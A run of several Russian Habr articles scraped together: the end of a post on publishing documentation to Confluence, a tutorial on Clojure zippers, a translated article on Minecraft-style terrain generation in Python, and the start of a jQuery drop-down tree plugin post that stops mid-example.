Еще один нюанс: при каждой публикации сабсета страниц Sphinx обновляет все дерево, каждую страницу. То есть, даже если контент не менялся, создается изменение, если у вас настроены уведомления в канал, то он будет засоряться множеством уведомлений.
### Еще несколько способов
#### Foliant с Confluence в качестве бэкэнда
Инструмент для генерации документации Foliant с Mkdocs и множеством препроцессоров под капотом и бэкэндом в виде Confluence. Подробнее [можно почитать тут](https://foliant-docs.github.io/docs/backends/confluence/#confluence-backend-for-foliant), но если кратко, то он использует pandoc для конвертации md в HTML, а затем публикует его в Confluence. Нужно только сконфигурировать бэкэнд и установить pandoc в окружение в качестве зависимости.
Выгодные отличия от первого решения: он умеет восстанавливать inline комментарии в тех же местах, что они были до перепубликации страницы, позволяет создавать страницы, задав их в конфиге, редактировать их названия, а также вставлять контент внутрь уже существующей страницы, для этого нужно вручную задать якорь foliant на странице в Confluence.
Работает только с исходником на Markdown.
#### Metro
Мультитул, который публикует самые разные форматы источников в Confluence, от Google Docs до Salesforce Quip, и в Markdown тоже умеет.
Для публикации нужно в папке, где лежат ваши .md файлы положить файл manifest.json, в нем указать папку, файл, который нужно опубликовать, для каждого файла указать confluence page id. Названием страницы будет первый заголовок в файле (#). У этого инструмента есть небольшие извращения с Markdown разметкой, поэтому смотрите [доки](https://metro.readthedocs.io/en/latest/using/prepare-to-import-markdown.html). Вложения и картинки нужно сложить в ту же папку, а еще инструмент позволяет задать использование оглавления прямо в конфиге.
#### Gem md2conf
Ruby gem [md2conf](https://github.com/pegasd/md2conf), он конвертирует Markdown в нативный для Confluence XHTML. Дальше можно написать Rake таску, которую в свою очередь можно вызывать через Gitlab CI/Jenkins по пушу в master, затем дергать Confluence API, чтобы опубликовать страницу. Чтобы не заносить к себе Ruby окружение, заверните зависимости для этого gem в контейнер.
Как отсылать запросы в Confluence API описано [тут](https://developer.atlassian.com/server/confluence/confluence-rest-api-examples/).
Работает только с исходником на Markdown.
#### Из найденного в Github
На самом деле таких скриптов или cli-инструментов в сообществе уже наделали некоторое количество, но экспериментировала я только с md2conf, все они делятся на две группы.
**Те, что просто конвертируют форматы (md, asciidoc, rst -> confluence/xhtml):**
* [markdown2confluence](https://github.com/chunpu/markdown2confluence)
* [md2confluence](https://github.com/jormar/md2confluence)
* [jedi4ever/markdown2confluence](https://github.com/jedi4ever/markdown2confluence)
* Есть даже [сервис с web интерфейсом](https://github.com/Yunyun548/Markdown2Confluence) для конвертации между md и Confluence.
Самый продуманный из них, что я видела — вот этот (https://github.com/rogerwelin/markdown2confluence-server), автор сразу написал Dockerfile, который поднимает cli-инструмент как REST сервер, далее к нему можно послать пачку запросов на конвертацию.
**И те, что сразу реализовывают в себе и запросы к Confluence API**, нужно только указать API ключ в конфиге:
* [md\_to\_conf](https://github.com/RittmanMead/md_to_conf)
* [mark](https://github.com/kovetskiy/mark)
* [confluence-python](https://github.com/m-vdb/confluence-python)
* [confluence-publisher](https://github.com/confluence-publisher/)
* [asciidoctor-confluence](https://github.com/asciidoctor/asciidoctor-confluence).
Выбирайте любой из вариантов (в зависимости от вашего языка разметки и стека) и собирайте свой пайплайн в зависимости от задач, которые перед вами стоят.
P.S. Если вы поделитесь в комментариях другими найденными решениями задачи, я буду очень признательна.
> А если хотите пообщаться на эти темы подробнее со мной, приходите на [KnowledgeConf 2020](http://knowledgeconf.ru/2020) 18 мая. | https://habr.com/ru/post/483898/ | null | ru | null |
# Замечательные zippers, или как я научился не волноваться и полюбил древовидные структуры данных
Известно, что дерево – довольно сложная структура. И если чтение успешно реализуется в том числе рекурсией (которая не лишена своих проблем), то с изменением дела обстоят совсем не хорошо.
При этом довольно давно существует высоко эффективный инструмент для работы с деревьями – зипперы, однако широкого распространения он не получил и, мне кажется, я знаю почему.
Классическое концептуальное объяснение зиппера, выглядит как-то так: **это взгляд изнутри на древовидную структуру как бы вывернутую наизнанку, вроде вывернутой перчатки**.
Это образное объяснение, если поскрипеть мозгами, обычно, конечно же, понимается только отчасти. Далее зипперы откладываются в сторону, потому что *«это непонятная какая-то функциональная заморочка, типа монад, потом разберусь»*.
У автора *«потом»* уже наступило. Эта статья – попытка дать альтернативное объяснение зипперов (не путать с объяснением для альтернативно одаренных, хотя…) такое, что позволит быстро понять и немедленно начать использовать зипперы в практических задачах.
Рассмотрим, как развивалась идея.
Допустим, у нас есть некоторая последовательность неважно каких данных. Пусть это будет вектор (массив).
Вот вектор с элементами-символами, с которым нам нужно работать. Пускай нам нужно гулять по нему влево и вправо и считывать символы. Естественным образом возникает идея некоторого «окошечка» шириной в один элемент, которое мы можем смещать вправо и влево.
По сути, у нас получился некий компонент-курсор для работы с векторами, который мы можем сдвигать влево и вправо и считывать данные из текущей позиции. Естественным развитием идеи будет обогащение этого компонента дополнительными возможностями. Пусть он помимо сдвига и чтения текущего еще говорит нам, где мы находимся:
Мы можем пойти дальше и создать такой API этого компонента:
* *ШагВлево*
* *ШагВправо*
* *ТекущееЗначение*
* *ПозицияСлева*
* *ПозицияСправа*
* *КрайнийСлева*?
* *КрайнийСправа*?
* *ЗаменитьТекущееЗначение*
* *ВставитьЗначениеСлева*
* *ВставитьЗначениеСправа*
* *УдалитьТекущееЗначение*
Отметим, что наш компонент-курсор никоим образом не завязан на векторы и символы, то есть он может использоваться для любых коллекций с элементами любого типа. Очень хороший компонент.
А что с деревьями? Почему бы не придумать что-то аналогичное для деревьев? Легко!
В случае дерева естественным образом добавились новые возможности: теперь мы можем ходить не только влево и вправо, но еще вверх и вниз, а также определять находимся ли мы в корне или в листе дерева.
И, конечно же, сразу руки чешутся обогатить API:
* *ШагВлево*
* *ШагВправо*
* *ШагВверх*
* *ШагВниз*
* *ТекущееЗначение*
* *КорневоеЗначение*
* *ДочерниеЗначения*
* *ПозицияСлева*
* *ПозицияСправа*
* *ПозицияСверху*
* *КрайнийСлева*?
* *КрайнийСправа*?
* *Корень*?
* *Лист*?
* *ЗаменитьТекущееЗначение*
* *ВставитьЗначениеСлева*
* *ВставитьЗначениеСправа*
* *УдалитьТекущееЗначение*
Дамы и господа, разрешите представить… **Zipper**!
Очевидно, что приведенный API не полон, естественно нужно добавить два метода для depth first поиска: *Предыдущий* и *Следующий*, которые будут сдвигать окошечко вперед и назад согласно правилам поиска. Можно добавить метод *ДобавитьДочернееЗначение*, для удобства. В общем, мы плавно переходим к деталям реализации, чего делать не собирались.
Главное, что мы нащупали саму идею, которая теперь кажется очень банальной и естественной, и таковой является.
А где же пресловутая вывернутая на изнанку перчатка?
Да вот же она! Если мы заменим методы *ПозицияСлева*, *ПозицияСправа*, *ПозицияСверху* **на** *ЗначенияСлева*, *ЗначенияСправа*, *ЗначенияСверху*, то мы получим «взгляд на дерево изнутри»: имеется текущее значение и
* *ЗначенияСлева*
* *ЗначенияСправа*
* *ЗначенияСверху*
* *ДочерниеЗначения*
Чем не вывернутая перчатка?
Можно переходить к практике.
Но прежде, восполним одно упущение. Нужно упомянуть, что зипперы – это функциональный концепт, то есть они наиболее эффективны в окружении персистентных структур данных (грубо говоря, данные не изменяются, но только создаются новые), функций как объектов первого класса (грубо говоря, функции можно в параметрах передавать) и вот этого всего.
Если ваша платформа предоставляет эффективно реализованные персистентные структуры, то и зипперы автоматически получаются эффективными и low cost (ничего не стоящими) компонентами. Их можно смело создавать и пересоздавать по потребности, не сильно заботясь о накладных расходах.
Наша платформа – clojure(script) – персистентные структуры предоставляет. Мало того, она предоставляет и сами зипперы: пространство имен [clojure.zip](https://clojuredocs.org/clojure.zip), рекомендую ознакомиться с [исходным кодом](https://github.com/clojure/clojure/blob/master/src/clj/clojure/zip.clj) – простая, чистенькая реализация.
Восполним второе упущение. В случае с курсором для вектора, мы отметили, что курсор не завязан ни на вектор, ни на символы, и может использоваться с любыми коллекциями.
А что на счет зипперов?
Все точно так же! Концептуально зипперы не привязаны ни к структуре, ни к данным, то есть могут использоваться на любых деревьях. Другими словами, зиппер позволяет абстрагировать алгоритм обработки дерева от его структуры.
Clojure.zip, к примеру, предоставляет нам функцию *zipper*, которая создает зиппер под наши потребности:
*(zipper branch? children make-node root)*
* *branch*? – функция, по переданному ей узлу определяет ветка он в принципе или нет (может ли иметь дочерние узлы);
* *children* – функция, по переданной ей ветке возвращает коллекцию дочерних узлов;
* *make-node* – функция, по переданным ей узлу и коллекции дочерних возвращает ветку дерева, то есть узел с переданными дочерними;
* *root* – корневой узел, то есть собственно наше дерево.
Используя эту функцию мы можем создать зиппер работающий с нашей конкретной структурой. Допустим, у нас есть такое небольшое деревце:
```
(def sample-tree
{:tag :div
:content [
{:tag :span :content ["С добрым утром"]}
{:tag :span :content ["страна!"]}
]})
```
Создадим зиппер:
```
(require '[clojure.zip :as z]) ; для начала затребуем нэймспэйс
```
```
(def sample-z
(z/zipper
(fn [node] (not (string? node))) ; если не строчка то ветка
(fn [node] (vec(:content node))) ; берем :content у узла и приводим к вектору (мало ли, может nil передадут)
(fn [node children] (assoc node :content (vec children))) ; пишем в :content узла переданную коллекцию детей
sample-tree)) ; наше деревце
```
Как нам получить полный текст дерева?
```
(loop [z sample-z result ""] ; цикл с переменными z и result
(if (z/end? z) ; если дошли до конца дерева
result ; отдаем результат
(recur (z/next z) (if (z/branch? z) result (str result (z/node z)))))) ;иначе продолжаем цикл с новыми значениями
```
Результат выполнения: “*С добрым утромстрана!*” Отметим, что обход дерева сделан итеративно, а не рекурсивно.
Нам бы вставить запятую с пробелом после обращения. Сказано – сделано!
```
(def new-z
(->
sample-z
z/next
(z/insert-right {:tag :span :content [", "]})))
```
*new-z* это измененный зиппер. Если нам нужно собственно измененное дерево:
```
(def new-tree
(z/root new-z))
```
Хотя базовый API реализован в виде функций пространства сlojure.zip, бывает полезно заглянуть в сам зиппер, а для этого нужно понимать, что он из себя представляет. В данной реализации это просто вектор из двух компонентов: текущий узел дерева и мапа описывающая его положение (та самая перчатка) с ключами:
* *:l* – узлы слева
* *:r* – узлы справа
* *:pnodes* – узлы сверху (путь до корня)
* *:ppath* – копия родительской «перчатки»
* *:changed?* – признак того, что дерево было изменено посредством данного зиппера
В нашем примере *new-z* будет выглядеть так:
```
[{:content ["С добрым утром"], :tag :span} ; текущий узел
{:changed? true,
:l [],
:pnodes [{:content [{:content ["С добрым утром"], :tag :span}
{:content ["страна!"], :tag :span}], :tag :div}],
:ppath nil,
:r ({:content [", "], :tag :span}
{:content ["страна!"], :tag :span})}]
```
Кстати, все примеры из статьи можно без проблем погонять на [online REPL-е](http://www.tryclj.com/) не заморачиваясь с развертыванием.
И немножечко терминологии: zipper – это концепт, идея. Конкретный инстанс (как *new-z* в нашем примере) принято называть локацией, что очень логично.
На этом все. Да поможет эта статья страждущему функциональному древосеку на его нелегком пути! Спасибо за внимание.
**UPD:** [qnikst](https://habrahabr.ru/users/qnikst/) очень верно подметил, что статье не хватает некоторой ссылки на теорию, которая крайне полезна при ответе на практический вопрос "*как нам организовать зиппер для конкретной структуры?*". Разве не здорово было бы уметь математически точно подбирать зиппер под структуру?!
Для этого нужно уметь описывать структуру данных алгебраически, и полученное выражение дифференцировать. Второе все умеют со школы, а вот с первым может быть затык. Сам по себе этот вопрос мне кажется крайне интересным, а практическое изложение тянет на отдельную статью, которой пока нет. Поэтому отсылаю интересующихся к лучшему материалу, что я нашел по этой теме в сети на русском:
[Алгебра данных и исчисление мутаций (перевод)](http://wizzard0.livejournal.com/86142.html)
И еще одна ссылка для полноты картины, для более полного и более академичного описания понятия «алгебраический тип данных»: [журнал «Практика функционального программирования»](http://fprog.ru/2009/issue2/practice-fp-2-screen.pdf) | https://habr.com/ru/post/279623/ | null | ru | null |
# Воссоздаем Minecraft-подобную генерацию мира на Python
*...используя диаграммы Вороного и много шумов Перлина/симплексных шумов*
> *Прим. переводчика*: стоит отметить, что непосредственно в Minecraft используются отличные от описанных ниже подходов — игра не использует диаграммы Вороного, а кроме двумерных шумов применяет также и трёхмерные (что, в частности, позволяет генерировать не только карту высот, но и пещеры)
>
>
Изображение автора.Minecraft, самая продаваемая игра в мире, наиболее известная своими пикселизированными блоками и *бесконечными* мирами, содержит потрясающий процедурный генератор ландшафта — с пещерами, водоёмами, и даже различными биомами.
Процедурная генерация является важной частью компьютерной графики — она используется в основном в играх и в фильмах. Она помогает создавать случайные структуры, не вызывающие ощущения «машинного» стиля.
Также процедурная генерация играет важную роль в машинном обучении. Она позволяет генерировать такие данные, которые сложно собрать. Обучение моделей машинного обучения требует огромных датасетов, которые может быть затруднительно собирать и подготавливать. Генерацию данных процедурным образом можно легко адаптировать к требуемому типу данных.
В детстве мне нравилось играть в Minecraft, и мне всегда было интересно, как эта игра генерирует бесконечные миры. В данной статье я попытаюсь воссоздать это на Python.
Определения и ограничения
-------------------------
Для начала, определимся с тем, как будет генерироваться наш мир.
* Мир является трёхмерным, дискретным (состоящим из блоков единичного размера), ограниченным по оси *z* в диапазоне от `0` до `255` и неограниченным по осям *x* и *y*.
* Мир содержит биомы, каждый из которых охватывает большую площадь по горизонтали, и которые определяют характер местности в занимаемом биомом пространстве.
* Мир содержит реки, озёра и океаны.
Каждый мир определяется *зерном* (англ. *seed*). **Одно и то же значение зерна всегда приводит к генерации одного и того же мира.**
Генерация миров
---------------
Чанк. Изображение автора.Чтобы упростить процесс генерации, мы разделим наш мира на *чанки* (англ. *chunk* — ячейка, кусок). Каждый чанк занимает пространство размером 1024×1024×256 блоков.
Каждый чанк генерируется отдельно. Это поможет нам сохранять и загружать мир, а также упростит задачу генерации мира по частям.
> *Прим. переводчика*. В Minecraft также используется разбиение пространства на чанки, однако они имеют значительно меньшие размеры — 16x16x256 блоков (16x16x384 — начиная с версии 1.18)
>
>
Границы биомов
--------------
Первое, что нам нужно сделать — разделить мир на ячейки в **плоскости xy**, каждая из которых будет принадлежать определённому биому. Каждой ячейке мы назначим точку, обозначающую её центр.
### Диаграмма Вороного
**Диаграмма Вороного** поможет нам разбить мир на ячейки по заданному множеству точек. Основная идея диаграмм Вороного заключается в том, что каждая точка плоскости принадлежит той ячейке, центр которой находится к ней ближе всего.
Движущаяся точка окрашивается в цвет ближайшей к ней неподвижной точки. Изображение автора.Мы можем проделать это для каждой точки плоскости **xy**, чтобы построить диаграмму Вороного для этих трёх точек.
Анимированная диаграмма Вороного для 3 точек. Изображение автора.Хотя такой подход и работает, он очень медленный, особенно когда количество точек велико.
Анимированная диаграмма для 20 точек. Изображение автора.В Python модуль `scipy.spatial` содержит класс `Voronoi`, который строит диаграммы Вороного более эффективно и предоставляет больше информации о диаграмме.
Диаграмма Вороного, построенная с помощью scipy.spatial. Изображение автора.Класс `Voronoi` в `scipy.spatial` возвращает список вершин, регионов и рёбер, что будет полезно на следующих этапах.
Регион и ребро в диаграмме Вороного. Изображение автора.Эти дополнительные точки помогают сформировать так называемую **тесселяцию Делоне** (*прим. переводчика*: также её часто называют *триангуляцией Делоне*).
Тесселяция Делоне поверх тесселяции Вороного. Изображение автора.### Алгоритм релаксации Ллойда
Теперь нам необходимо сгенерировать случайные точки, которые станут центрами ячеек.
Если мы используем функцию наподобие `random` из модуля `numpy.random`, чтобы сформировать множество точек, и построим по ним диаграмму Вороного, то получим следующий результат:
Диаграмма Вороного для множества случайных точек. Изображение автора.Как вы могли заметить, некоторые точки оказались слишком близко друг к другу. Это называется кластеризацией. Желательно, чтобы ячейки были распределены более равномерно.
Этот эффект становится более заметен, если мы уменьшим масштаб (или увеличим число точек):
Обратите внимание, как некоторые точки кластеризуются вместе, в то время как другие области остаются пустыми. Изображение автора.Чтобы решить эту проблему, нам необходимо распределить точки дальше друг от друга.
Одним из способов решения этой проблемы является [алгоритм релаксации Ллойда](https://en.wikipedia.org/wiki/Lloyd%27s_algorithm), который использует диаграмму Вороного, построенную по исходным точкам.
Идея **алгоритма Ллойда** заключается в том, чтобы построить диаграмму Вороного, а затем переместить каждую точку в *центроид* (геометрический центр) соответствующей ей ячейки. Данный процесс может быть повторён несколько раз.
Центроидом многоугольника является среднее от всех его вершин.
Вот диаграмма Вороного, в которой исходные точки отмечены **синим цветом**, а центроиды ячеек — **красным**.
Диаграмма Вороного с исходными точками (синие) и центроидами ячеек (красные). Изображение автора.Далее мы можем заменить исходные точки (синие) центроидами (красными), и повторять этот процесс снова и снова.
Анимация алгоритма релаксации Ллойда. Изображение автора.Это позволяет получить более привлекательное распределение случайных точек.
Шум Перлина/симплексный шум: зачем он нужен?
--------------------------------------------
Чтобы построить случайный ландшафт, нам необходимо сгенерировать свойства, которые будут меняться случайным образом в пространстве — такие свойства, как высота, температура или количество осадков.
Первое, что приходит на ум — воспользоваться функцией `random`, и это логично.
Попробуем сгенерировать случайное число в диапазоне от 0 до 255, для каждого блока в плоскости **xy** в нашем мире.
Это приведёт нас к следующему результату:
Слишком случайно. Изображение автора.Что ж, это больше похоже на QR-код, нежели на мир в Minecraft.
Проблема заключается в том, что наши случайные величины не имеют под собой связной структуры. Каждое значение генерируется независимо и не имеет ничего общего с соседними.
Чтобы решить эту проблему, применим [шум Перлина](https://ru.wikipedia.org/wiki/%D0%A8%D1%83%D0%BC_%D0%9F%D0%B5%D1%80%D0%BB%D0%B8%D0%BD%D0%B0).
Шум Перлина. Изображение автора.Шум Перлина был изобретён Кеном Перлином в 1983 году. В отличие от обычного случайного шума, он обладает внутренней структурой. Он больше похож на случайные паттерны, встречающиеся в природе (облака, распределение лесов).
[Симплексный шум](https://ru.wikipedia.org/wiki/%D0%A8%D1%83%D0%BC_%D0%A1%D0%B8%D0%BC%D0%BF%D0%BB%D0%B5%D0%BA%D1%81) был также создан самим Кеном Перлином. Он имеет много преимуществ по сравнению с шумом Перлина. В наши дни шум Перлина и симплексный шум повсеместно используются в процедурной генерации.
Мы будем использовать реализацию симплексного шума на Python из модуля `noise`.
Нам доступно 4 переменных, с которыми можно поиграть: **scale** (масштаб), **octaves** (число октав), **persistence** (персистентность), **lacunarity** (лакунарность). Я не буду объяснять, за что отвечает каждая из них, но предоставлю вам следующие гифки, которые я сделал, чтобы самому разобраться в этом.
МасштабЧисло октавПерсистентностьЛакунарность*Шум Перлина с различными параметрами. Изображения автора.*
Возвращаемые значения шума лежат в диапазоне от -1 до 1.
### «Правильность» ячеек — размываем границы
Несмотря на то, что сгенерированные для ячеек точки неплохо разнесены друг от друга, сами ячейки выглядят почти как правильные многоугольники.
Для устранения этого недостатка будем использовать шум Перлина. Для каждой точки мы выберем случайную точку поблизости и присвоим текущей точке вновь выбранную.
Для этого нам понадобится две карты шума, одна — для смещений по оси x, другая для оси y.
Мы можем управлять зашумлённостью границ, умножая значение шума (в диапазоне от -1 до 1) на некоторую константную длину.
Анимация изменения величины шума границ. Изображение автора.Анимация изменения числа октав шума границ. Изображение автора.Выбор биомов
------------
В Minecraft представлено более 60 различных биомов, каждый со своими различными свойствами. Теперь, когда наш мир разбит на ячейки, нам необходимо присвоить биом каждой из них. Для этой цели мы будем использовать шум Перлина.
### График температуры-осадков
Определим биомы, основываясь на двух параметрах: температуре и количестве осадков, используя график температуры-осадков. Так биомы обычно определяются в биологии окружающей среды.
«Влияние климата на наземные биомы», автор Navarras, Public Domain, CC0.Вдохновляясь этой диаграммой, спроектируем наш собственный график температуры-осадков.
График температуры-осадков. Изображение автора.### Карты температуры и осадков
Теперь назначим каждой ячейке температуру и количество осадков, используя шум Перлина. Сгенерируем две карты, каждая из которых содержит значения шума для всех блоков в нашем чанке.
Карты температур и количества осадков. Изображение автора.### Выравнивание гистограмм
Если мы будем использовать приведённые выше карты температур и количества осадков, мы столкнёмся с проблемой. Значения, основанные на шуме Перлина, распределены не равномерно. Среди них больше значений, близких к 0, нежели значений, близких к -1 или 1. Это снижает число биомов, которые находятся на краях графика температур-осадков.
Чтобы лучше понять эту неравномерность, я построил одномерную гистограмму и потрясающую двумерную гистограмму карт температуры и количества осадков.
Одномерная (слева) и двумерная (справа) гистограммы карт температур и осадков. Изображение автора.Как можно видеть, значения по краям дискриминированы. Чтобы устранить этот недостаток, выровняем наши значения.
[Выравнивание гистограммы](https://en.wikipedia.org/wiki/Histogram_equalization) используется, чтобы скорректировать экспозицию изображений. По этой причине я использовал функцию `exposure` из модуля `skimage`.
Выровненная гистограмма становится плоской:
Выровненная одномерная (слева) и двумерная (справа) гистограммы карт температур и осадков. Изображение автора.Поскольку мы выравнивали температуру и количество осадков независимо друг от друга, двумерная гистограмма не является полностью плоской.
Возможно, мы не хотим полностью сглаживать наши гистограммы. Чтобы иметь возможность управлять степенью сглаженности гистограмм, мы можем смешивать невыровненные значения с выровненными в некоторой пропорции.
Анимация выравнивания гистограмм. Изображение автора.Теперь мы можем управлять тем, насколько выровнены наши значения.
### Усреднение значений внутри ячеек
Карты температур и количества осадков в ячейках. Изображение автора.Теперь каждая ячейка содержит значения температуры и количества осадков в диапазоне от -1 до 1.
### Квантование
Чтобы упростить работу со значениями температуры и количества осадков, преобразуем их в целые числа. Будем использовать `np.uint8` в качестве типа данных для хранения этих значений.
Чтобы преобразовать значения карт, представленных выше, отобразим их на интервал [0, 255], и округлим к ближайшему целому.
Квантование не меняет то, как выглядит температура и количество осадков.
Теперь мы можем определить наш график температуры-осадков в виде изображения размером *256×256*пикселей:
График температуры-осадков. Изображение автора.### Карта биомов
Мы можем назначить каждой ячейке биом, используя график температуры-осадков, карту температур и карту осадков. Выполнив это для каждой ячейки, мы получим следующий результат:
Карта, окрашенная в цвета биомов. Изображение автора.Карта высот
-----------
Каждая точка нашего двумерного мира имеет высоту. Чтобы построить карту высот, мы будем использовать карту шума.
Карта высот. Изображение автора.Используя эту карту высот (со значениями от -1 до 1), мы можем построить маску суши. Значения выше 0 становятся сушей, а ниже 0 — морем.
Маска суши. Изображение автора.Совместим эту маску с изображением выше:
Карта биомов с применённой маской суши. Изображение автора.Чтобы визуализировать высоту, добавим затенение на карту:
Карта биомов с маской суши (слева), затенённая карта биомов с маской суши (справа). Изображение автора.Пока что результаты выглядят многообещающе. Но сейчас высота не зависит от биома. Нам следует менять карту высот внутри каждого биома. Чтобы достичь этой цели, мы будем применять некоторую функцию к карте высот.
### Детализированная карта высот
Будем теперь использовать 2 карты высот с различной степенью детализации. Для этого будем использовать различное число октав в шуме Перлина.
Вот две наших карты высот:
Резкая (слева) и размытая (справа) карты высот. Изображение автора.### Фильтрация карты высот
Мы будем работать с картой высот на суше (значения высоты в диапазоне от 0 до 1). Каждый биом будет использовать комбинацию двух карт высот (размытой и резкой) — и затем применять фильтр (функцию) к результату.
Идея применения фильтров основывается на инструменте *Кривые* (Curves) в Photoshop. Используем **кубические кривые Безье**, чтобы определить функцию, которую мы применим к карте высот.
Вот некоторые примеры фильтров:
Пустыня (прим. переводчика: синий график справа — исходный срез высот, оранжевый — после применения фильтра)Горы (прим. переводчика: синий график справа — исходный срез высот, оранжевый — после применения фильтра)Создадим и настроим фильтр для каждого биома.
Пустыня, саванна и тропический лес. Изображение автора.Тундра, сезонный лес и дождевой лес. Изображение автора.Умеренный лес, умеренный дождевой лес и бореальный лес. Изображение автора.Чтобы применить эти фильтры к нашей карте высот, мы будем использовать маски. Маска это карта, содержащая 1 в областях, принадлежащих некоторому биому, и 0 в остальных областях.
Маска биома. Изображение автора.Если мы будем использовать жёсткую маску, у нас будут огромные перепады высот (на границах биомов — *прим. переводчика*). Поэтому применим размытие к маскам перед использованием. Также удалим океан с этой карты (умножив её на маску суши), чтобы применить фильтры только к суше.
Размытая маска биома (слева), только суша (справа). Изображение автора.Применим фильтры каждого биома к карте высот, пользуясь масками выше. Получим следующие результаты:
До и после### Итоговые результаты в 3D
Используя Blender, мы можем отрендерить эти карты в 3D. Используем карту высот в модификаторе "Displace" в Blender.
Рендер карты высот с окрашиванием в зависимости от биома.
Сделано при помощи Blender. Изображение автора.Рендер карты высот с окрашиванием в зависимости от биома.
Сделано при помощи Blender. Изображение автора.Рендер карты высот с окрашиванием в зависимости от биома.
Сделано при помощи Blender. Изображение автора.Реки и озера
------------
### Границы
Добавим реки на границах между биомами. Во-первых, нам понадобится вычислить границы между биомами.
Для этой цели мы переберём все точки на карте. Если у некоторой точки все её соседи принадлежат тому же биому, то она не лежит на границе. Если среди её соседей больше одного типа биома, то она является частью границы.
Иллюстрация пограничного пикселя. Изображение автора.Пример границы. Изображение автора.Применяя этот подход к нашей карте биомов, получим следующие результаты.
Карта биомов (слева) и рек (справа). Изображение автора.Можно управлять шириной рек, изменяя размер окрестности, содержащей соседние точки.
Реки различной ширины. Изображение автора.Будем использовать 2 различных разновидности рек: биомные реки и ячеечные реки. Биомные реки широкие и размещаются на границах биомов, в то время как ячеечные реки меньше и размещаются на границах ячеек. Затем используем маску суши, чтобы ограничить реки сушей.
Реки также будут ограничены лишь средней и низкой высотой над уровнем моря.
Реки. Изображение автора.
> *Прим. переводчика*. Честно говоря, на мой взгляд, тут у автора получилось что-то очень странное в отношении рек.
>
>
Используем эту маску рек чтобы изменить карту высот. Размоем эту маску рек, а затем применим исходную маску рек к полученному результату. Таким образом получится карта с большими значениями в серединах рек, которые плавно уменьшаются к берегам.
Вот сравнение маски рек с размытой и маскированной маской рек.
Маска рек. Изображение автора.Боковое сечение маски рек. Изображение автора.Используем эту карту, чтобы «прорезать» реки в карте высот.
Карта биомов (слева) и карта биомов с реками (справа). Изображение автора.Деревья и растительность
------------------------
Чтобы добавить деревья на нашу карту, используем алгоритм релаксации Ллойда, описанный ранее. Этот метод сэмплирования помогает генерировать случайные точки, разнесённые друг от друга.
> *Прим. переводчика*: для получения равномерно разнесённых точек также неплохо подходит алгоритм сэмплирования диском Пуассона ([Poisson Disc Sampling](https://medium.com/@hemalatha.psna/implementation-of-poisson-disc-sampling-in-javascript-17665e406ce1))
>
> *UPD*: Пользователь [@BigObfuscator](/users/bigobfuscator) в комментариях также [рекомендует](https://habr.com/ru/post/590547/comments/#comment_23758903) использовать для этой цели [последовательность Халтона](https://en.wikipedia.org/wiki/Halton_sequence) или [пластическую последовательность](https://observablehq.com/@jrus/plastic-sequence).
>
>
Случайно выбранные точки (слева), релаксированные точки (справа). Изображение автора.Будем создавать множества деревьев различной плотности в зависимости от биома.
Различные уровни плотности деревьев. Изображение автора.Скомбинируем множество деревьев с масками биомов и маской суши, чтобы заполнить биомы деревьями. Каждый биом имеет различную плотность и, разумеется, различные типы деревьев.
Карта биомов с деревьями. Изображение автора.Мои навыки владения Блендером не позволяют мне визуализировать карту с деревьями в 3D :(
Исходный код
------------
> Вот ссылка на [**Jupyter-ноутбук**](https://github.com/BilHim/minecraft-word-generation), содержащий все описанные в статье шаги в виде кода.
>
>
**Предупреждение:** Код очень запутанный и незадокументированный.
Заключение
----------
Процедурная генерация является мощным инструментом в компьютерной графике. Она позволяет сгенерированному контенту выглядеть случайным, но в то же время художественным и структурированным. Как было сказано ранее, это можно использовать в машинном обучении для создания датасетов, покрывающих те области, которые дорого или затруднительно покрыть с помощью данных, собранных в реальном мире.
Эта статья была лишь забавным проектом, над которым я хотел поработать уже больше года. В нём ещё многого не хватает. Например, мне нужно создавать пещеры под землёй, деревни, а также придумать алгоритм, способный бесшовно соединять соседние чанки.
Источники вдохновения
---------------------
Я вдохновлялся многими статьями, когда писал мою. Если вам понравилась эта статья, то вам определённо захочется прочитать и эти тоже:
* [Vagabond — Map Generation | pvigier’s blog](https://pvigier.github.io/2019/05/12/vagabond-map-generation.html)
* [Polygonal Map Generation for Games (stanford.edu)](http://www-cs-students.stanford.edu/~amitp/game-programming/polygon-map-generation/) ([перевод на Хабре](https://habr.com/ru/post/322504/))
* [Procedural World: July 2016 (procworld.blogspot.com)](http://procworld.blogspot.com/2016/07/) | https://habr.com/ru/post/590547/ | null | ru | null |
# Выпадающий jQuery.Treeview
#### Вступление
В ходе реализации текущего проекта мне понабилось выпадающее дерево. Так как я уже пользовался jQuery плагином TreeView, и его функционал меня устраивает, было принято решение cделать выпадающее дерево на его основе. В результате родился плагин DropDownTreeView которым я хочу [поделится](http://job.webherz.ru/dropdowntreeview/dropdowntreeview.7z).
#### Функционал
Плагин позволяет создавать выпадающие деревья с AJAX загрузкой ([пример](http://job.webherz.ru/dropdowntreeview/)). При создании дерева к объекту обертки добавляется кнопка открытия дерева, и подгружается дерево. Дерево можно подгружать как целиком так и частями (актуально для больших деревьев). HTTP запросы могут выполнятся POST и GET методами. Параметры HTTP запроса определяются пользователем. Дерево строится посредством jQuery.Treeview. Дерево сворачивается при выборе пункта и клике вне зоны дерева.
#### Примеры использования с описанием
1. Добавляем стили для jQuery.Treeview и jQuery.Treeview.DropDown
> `<link href='jquery.treeview.css' type='text/css' rel='stylesheet'>
>
> <link href='jquery.treeview.dropdown.css' type='text/css' rel='stylesheet'/>`
2. Добавляем скрипты jQuery, jQuery.Treeview и jQuery.Treeview.DropDown
> `<script type="text/javascript">
>
> $(function(){
>
> $('#dropdown').dropdowntreeview({},{‘url’:’test.php’});
>
> })//$(function()
>
> script>`
3. Добавляем HTML код для контейнера выпадающего TreeView.
> `<input type=’text’ id=’dropdown’>`
4. Загрузка дерева
*Формат вызова: $(selector).dropdowntreeview(param,option,TreeViewOption)
где:
1. param — параметры в формате JSON для запросов посредством AJAX
Пример: attr={'my\_id':101, 'parent\_id':89} то получим HTTP запрос с параметрами “my\_id=101&parent\_id=89”.
Примечание: имена параметров не должны совпадать с именами атрибутов тегов и с именами опций описанных в следующем пункте.
2. option — настройки в формате JSON
Возможные настройки:
type — 'post' или 'get' (по умолчанию 'post')
url — адрес для HTTP запроса дерева (ветки) (по умолчанию текущий адрес)
width — ширина поля выбора (по умолчанию по ширине объекта к которому привязывается дерево)
height — высота поля выбора (по умолчанию задана в CSS)
Пример: option={'url'='/tree.php','height'='400px'}
3. TreeViewOption — опции Treeview (http://docs.jquery.com/Plugins/Treeview/treeview)*
4.1. Код для подгрузки простейшего дерева.
4.1.1. Добавляем JavaScript для загрузки простейшего дерева с адрeса «test.php» методом POST
